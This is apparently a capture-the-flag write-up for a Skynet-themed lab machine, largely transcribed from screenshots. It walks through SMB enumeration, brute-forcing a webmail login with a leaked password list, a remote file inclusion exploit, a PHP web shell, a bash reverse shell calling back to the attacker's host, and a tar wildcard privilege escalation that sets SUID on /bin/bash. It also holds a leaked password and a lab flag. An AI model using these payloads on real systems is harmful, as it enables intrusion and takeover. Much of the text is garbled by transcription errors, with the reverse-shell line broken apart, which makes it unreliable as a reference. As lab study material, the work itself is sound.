Terminator THM

Port scanning

```
PORT STATE SERVICE REASON VERSION
22/tcp open ssh
                   syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
ssh-hostkey:
 2048 99:23:31:bb:b1:e9:43:b7:56:94:4c:b9:e8:21:46:c5 (RSA)
 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKeTyrvAfbRB4onlz23fmgH5DPnSz07voOYaVMKPx5bT62zn7eZzeclVvfp5LBCetcOyiw2Yhocs0oO1/
 256 57:c0:75:02:71:2d:19:31:83:db:e4:fe:67:96:68:cf (ECDSA)
 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTltbmlzdHAyNTYAAAAlbmlzdHAyNTYAAABBBI0UWS0x1ZsOGo510tgfVbNVhdE5LkzA4SWDW/5UjDumV(
 256 46:fa:4e:fc:10:a5:4f:57:57:d0:6d:54:f6:c3:4d:fe (ED25519)
ssh-ed25519 AAAAC3NzaC1IZDI1NTE5AAAAICHVctcvID2YZ4mLdmUISwY8Ro0hCDMKGqZ2+DuI0KFQ
80/tcp open http
                   syn-ack Apache httpd 2.4.18 ((Ubuntu))
http-methods:
Supported Methods: OPTIONS GET HEAD POST
_http-title: Skynet
http-server-header: Apache/2.4.18 (Ubuntu)
110/tcp open pop3
                    syn-ack Dovecot pop3d
pop3-capabilities: AUTH-RESP-CODE RESP-CODES SASL TOP CAPA PIPELINING UIDL
139/tcp open netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap
                    syn-ack Dovecot imapd
Limap-capabilities: listed more ENABLE IDLE LOGIN-REFERRALS LITERAL+ ID post-login Pre-login SASL-IR LOGINDISABLEDA0001 capabilities OK IMAF
445/tcp open netbios-ssn syn-ack Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: SKYNET; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
_clock-skew: mean: 1h39m57s, deviation: 2h53m12s, median: -2s
p2p-conficker:
 Checking for Conficker.C or higher...
 Check 1 (port 14264/tcp): CLEAN (Couldn't connect)
 Check 2 (port 39422/tcp): CLEAN (Couldn't connect)
 Check 3 (port 43700/udp): CLEAN (Failed to receive data)
 Check 4 (port 31520/udp): CLEAN (Failed to receive data)
 _ 0/4 checks are positive: Host is CLEAN or ports are blocked
nbstat: NetBIOS name: SKYNET, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
Names:
 SKYNET<00>
                   Flags: <unique><active>
 SKYNET<03>
                   Flags: <unique><active>
 SKYNET<20>
                   Flags: <unique><active>
 \x01\x02_MSBROWSE_\x02<01> Flags: <group><active>
 WORKGROUP<00>
                      Flags: <group><active>
 WORKGROUP<1d>
                      Flags: <unique><active>
 WORKGROUP<1e>
                      Flags: <group><active>
 Statistics:
 _ 00:00:00:00:00:00:00:00:00:00:00:00:00
smb2-time:
 date: 2025-03-31T22:33:44
_ start_date: N/A
smb2-security-mode:
 3:1:1:
   Message signing enabled but not required
smb-os-discovery:
 OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
 Computer name: skynet
 NetBIOS computer name: SKYNET\x00
 Domain name: \x00
 FQDN: skynet
System time: 2025-03-31T17:33:44-05:00
smb-security-mode:
 account_used: guest
 authentication_level: user
 challenge_response: supported
_ message_signing: disabled (dangerous, but default)
```

Automated content discovery

Connection to smb as guest

```
[ z2k-virtualbox / ]$ smbclient //terminator.thm/anonymous -U guest
Can't load /etc/samba/smb.conf - run testparm to debug it
Password for [WORKGROUP\guest]:
Try "help" to get a list of possible commands.
smb: \>
```

· Let's try to see what's inside attention.txt

```
[ z2k-virtualbox / ]$ curl --user "guest:guest" smb://terminator.thm/anonymous/attention.txt
A recent system malfunction has caused various passwords to be changed. All skynet employees are required to change their password after seeing this.
—"All so Buson
[ z2k-virtualbox / ]$_
```

• Now let's check what's in logs, maybe someone changed the password and left some tracks

• Seeing the content of the first logs

```
| z2k-virtualbox / ]$ curl --user "guest:guest" smb://terminator.thm/anonymous/logs/log1.txt
cyborg087haloterminator
terminator219
terminator220
terminator1989
terminator1988
terminator168
terminator164
terminator13
terminator13
terminator131
terminator131
terminator1056
terminator108
terminator108
terminator22
terminator309
deminator40
terminator40
terminator50
terminator50
terminator60
determinator60
dixterminator60
dixterminator61
```

Looks like dictionary of passwords, soo let's save them all in a text file

• with this passwords i will try to brute force into milesdyson email

```
Can't load /etc/samba/smb.conf - run testparm to debug it

Sharename Type Comment

print$ Disk Printer Drivers

anonymous Disk Skynet Anonymous Share
milesdyson Disk Miles Dyson Personal Share

IPC IPC Service (skynet server (Samba, Ubuntu))

SMB1 disabled -- no workgroup available
```

Checking the /squirrelmail



• Using the name milesdyson and the most recent password in the log file we got access



• Some password information

We have changed your smb password after system malfunction.

Password:)s{A&2Z=F^n_E.B`

• some binary code

· and some more weird text

Connecting to smb as milesdyson

```
[ z2k-virtualbox / ]$ smbclient //terminator.thm/milesdyson -U milesdyson
Can't load /etc/samba/smb.conf – run testparm to debug it
Password for [WORKGROUP\milesdyson]:
Try "help" to get a list of possible commands.
smb: \>
```

• Found an interesing file in notes

```
[ z2k-virtualbox ~/Desktop ]$ cat important.txt

1. Add features to beta CMS /45kra24zxs28v3yd

2. Work on T-800 Model 101 blueprints

3. Spend more time with my wife

[ z2k virtualbox ~/Desktop ]¢ ^C
```

· Looks like our hidden directory



• After some more foward content enumeration i found an administrator page

```
htpasswd (Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 3736ms).htaccess (Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 3744ms).administrator (Status: 301, Size: 341, Words: 20, Lines: 10, Duration: 66ms): Progress: [20478/20478] :: Job [1/1] :: 651 req/sec :: Duration: [0:00:36] :: Errors: 0 ::
```



• searching for exploits i found this



- you can find it here:
 - https://www.exploit-db.com/exploits/25971

Payload creation

• So i created a php payload

```
echo '<?php system($_GET["cmd"]); ?>' > shell.txt
```

• now i execute a curl and request the id

Getting a reverse shell

• First created a reverse shell payload

```
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/

?>
/445 Ø>&1'")
```

• Then using python start a http server

```
. z2k–vìrtualbox /Desktop I$ sudo python3 –m http.server
sudo] password for z2k:
Gerving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
.0.10.230.174 – – [31/Mar/2025 21:18:47] "GET /shell.php HTTP/1.0" 200 –
```

• Use netcat to listening on a selected port

```
: z2k–virtualbox ~/Desktop ]$ sudo nc –lnvp 445
istening on 0.0.0.0 445
```

• Then use the url exploit to create the reverse shell

```
Q terminator.thm/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://_____:8000/shell.php
```

```
www-data@skynet:/var/www/html/45kra24zxs28v3yd/administrator/alerts$ Is
ls
alertConfigField.php
alertIFrame.php
alertImage.php
defaultAlert.php
www-data@skynet:/var/www/html/45kra24zxs28v3yd/administrator/alerts$
```

Getting the user flag

```
cd /home
www-data@skynet:/home$ ls
ls
milesdyson
www-data@skynet:/home$ cd milesdyson
cd milesdyson
www-data@skynet:/home/milesdyson$ ls
ls
backups
mail
share
user.txt
www-data@skynet:/home/milesdyson$ cat user.t>
cat user.txt
7ce5c2109a40f958099283600a9ae807
www-data@skynet:/home/milesdyson$ _
```

Checking SUID files

```
Kml/45kra24zxs28v3yd/administrator/alerts$ find / -perm -4000 2>/dev/null
/sbin/mount.cifs
/bin/mount
/bin/fusermount
/bin/ping
/bin/ping
/bin/ping
/bin/ping6
/usr/bin/passwd
/usr/bin/passwd
/usr/bin/pewgrp
/usr/bin/pewgrp
/usr/bin/newgidmap
/usr/bin/newgidmap
/usr/bin/newuidmap
/usr/bin/newuidmap
/usr/bin/nehf
/usr/bin/hff
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/glicykit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/snapd/snap-confine
```

Backup file

```
www-data@skynet:/home/milesdyson/backups$ cat backup.sh
cat backup.sh
#!/bin/bash
cd /var/www/html
tar cf /home/milesdyson/backups/backup.tgz *
```

• this is a tar wildcard vulnerability

```
www-data@skunet:/home/milesduson/backups$ printf '#!/bin/bash\nchmod +s /bin/bash' > shell.sh

kdyson/backups$ printf '#!/bin/bash\nchmod +s /bin/bash' > shell.sh

bash: shell.sh: Permission denied

www-data@skunet:/home/milesduson/backups$ echo -e '#!/bin/bash\nchmod +s /bin/bash' > /var/www/html/root_shell.sh

k/bin/bash\nchmod +s /bin/bash' > /var/www/html/root_shell.sh

www-data@skunet:/home/milesduson/backups$ touch "/var/www/html/--checkpoint-action=exec=sh root_shell.sh"

kdyson/backups$ touch "/var/www/html/--checkpoint=1"

www-data@skunet:/home/milesduson/backups$ touch "/var/www/html/--checkpoint=1"

www-data@skunet:/home/milesduson/backups$ |s -1 /bin/bash

-rwx-x-x-x | root root 1037528 Jul 12 2019 /bin/bash

-rwx-x-x-x | root root 1037528 Jul 12 2019 /bin/bash

-rwx-x-x-x | root root 1037528 Jul 12 2019 /bin/bash

-pwboami

www-data

'(If)

'(If)

'(Bash: line 2: $'\Eff': command not found

whoami

www-data

exi

'(bin/bash: line 4: exi: command not found

exit

www-data@skynet:/home/milesdyson/backups$ |s -1 /bin/bash

-rwx-s-x-x | root root 1037528 Jul 12 2019 /bin/bash

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-rwx-s-x-x | root root 1037528 Jul 12 2019 /bin/bash

-rwx-s-x-x | root root 1037528 Jul 12 2019 /bin/bash

-rwx-s-x-x | root root 1037528 Jul 12 2019 /bin/bash

-rwx-s-x-x | root root 1037528 Jul 12 2019 /bin/bash

-rwx-s-x-x | root ro
```